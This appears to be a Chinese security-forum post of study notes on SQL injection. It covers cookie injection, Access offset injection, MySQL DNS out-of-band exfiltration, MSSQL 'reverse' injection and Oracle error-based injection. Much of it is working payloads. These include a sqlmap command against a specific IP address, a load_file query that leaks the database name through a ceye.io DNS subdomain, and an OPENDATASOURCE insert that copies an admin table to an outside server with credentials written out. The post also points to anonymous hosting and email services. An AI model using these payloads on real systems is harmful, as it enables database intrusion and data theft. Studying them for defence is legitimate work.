数据库注入

锦衣   ·   发表于 2020-06-16 13:01:15   ·   闲聊灌水区
  • 在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)

    • php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参
    • Cookie注入是在GET、POST传参被拦截情况下使用。
    • 注:php 5.4以上版本就不会接受Cookie传参了。

    Cookie注入满足的条件:

    1. 注入满足的条件
    2. 网站会获取Cookie传参然后和原有SQL语句拼接再传入数据库

    修改Cookie方式:Cookie传参值需要URL编码

      1. 抓包修改,在原有cookie后面加"; 传参数据"
      1. 用插件修改
      1. 打开F12控制台使用JS修改:document.cookie=”id=”+escape(“171”)[escape()里面是URL编码]
    • 注:Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。

Sqlmap跑cookie注入:python sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

表名: Access数据库查询语句必须带表名[Mysql、MSsql、Oracled都有系统自带库]Access数据库没有系统自带库。

  1. 强行猜接库名:跑字典,原传参值 and exists(select*from 表名)[URL编码后跑字典,存在表名页面返回正常]
    在原有页面下联合语句查询输出点带任何表都可以

字段名:

  1. 强行猜接[把字段放进输出点里,若字段名不正确,页面报错,若正确会显示内容]
    2.偏移注入

偏移注入:猜到表名情况下查询字段数

表. => 就是表里面所有字段
`union select 1,2,3,4,5,admin.
from admin `[查询的字段数要比当前页面表字段数小,否则不能做]
不断平移,将admin.* 不断平移到输出点记录下显示的字段。然后查询。

MYSQL-DNS注入

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
将盲注转化为显错注入

LOAD_FILE() 读取文件的函数 这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=

[ LOAD_FILE() 读取文件的函数 取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。]

语句:and select load_file(concat('//',(select database()),.0cv5gr.ceye.io/abc')) -- qwe
数据库去访问0cv5gr.ceye.io的服务器下的共享文件夹abc然后ceye.io的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了0cv5gr.ceye.io,然后在ceye这个平台上面显示出来了

免费的dnslog平台:http://dnslog.cn/

MSSQL-反弹注入:将目标数据库查询获得的数据库数据插入到自己的数据库

  • MSsql用联合查询需用 union all 注释只有—+ 查询字段需要用Null
  • 查询系统自带库: select name from dbo.sysdatabases
  • 查询系统表 (xtype=’U’):sysobjects
  • 字段 (id= ) 指定sysobjects库中表名对应id: syscolumns
  1. 香港云:(http://www.webweb.com/)[MSSQL注入 — 反弹注入实际就是把查询出来的数据发送到我们的MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公网IP,用香港运搭建一个虚拟主机]
  2. 国外虚拟主机:https://my.gearhost.com/CloudSite
  3. 匿名邮箱:http://bccto.me/

MSsql显错注入:
查询系统库:union all select from dbo.sysdatabases
查询系统表:union all select null,null,nuill from sysobjects where xtype=’U’[xtype=’U’是指用户创建的表]
查询字段:union all select
from syscolumns where id=? [id=?指的是表对应的id数字]
查询数据:union all select 字段 from 表

MSsql反弹注入:
前提条件是存在堆叠注入[;后可以执行后面的语句]

nsert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --


Insert into 很明显是插入语句 然后出现了个opendatasource。

opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

语法:
OPENDATASOURCE(provider_name,init_string)

provider_name 
 注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB

init_string
 连接字符串 
 连接地址、端口、用户名、密码、数据库名
 server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面语句的查询结果插入到那个表里面

Oracle-报错注入

Dual是一个虚表

select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表

select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns 查询出当前用户的字段

select*from v$version 查版本


rownum=1 (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据

Oracle 实现limit: select username from (select rownum r,username from all_users) where r=5
通过子查询列出一张表,然后用where条件选中数据

报错语法:CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))— 查询数据库版本

扩展:
https://www.freebuf.com/column/174974.html(注入总结文章)

打赏我,让我更有动力~

0 Reply   |  Until 2020-6-16 | 854 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.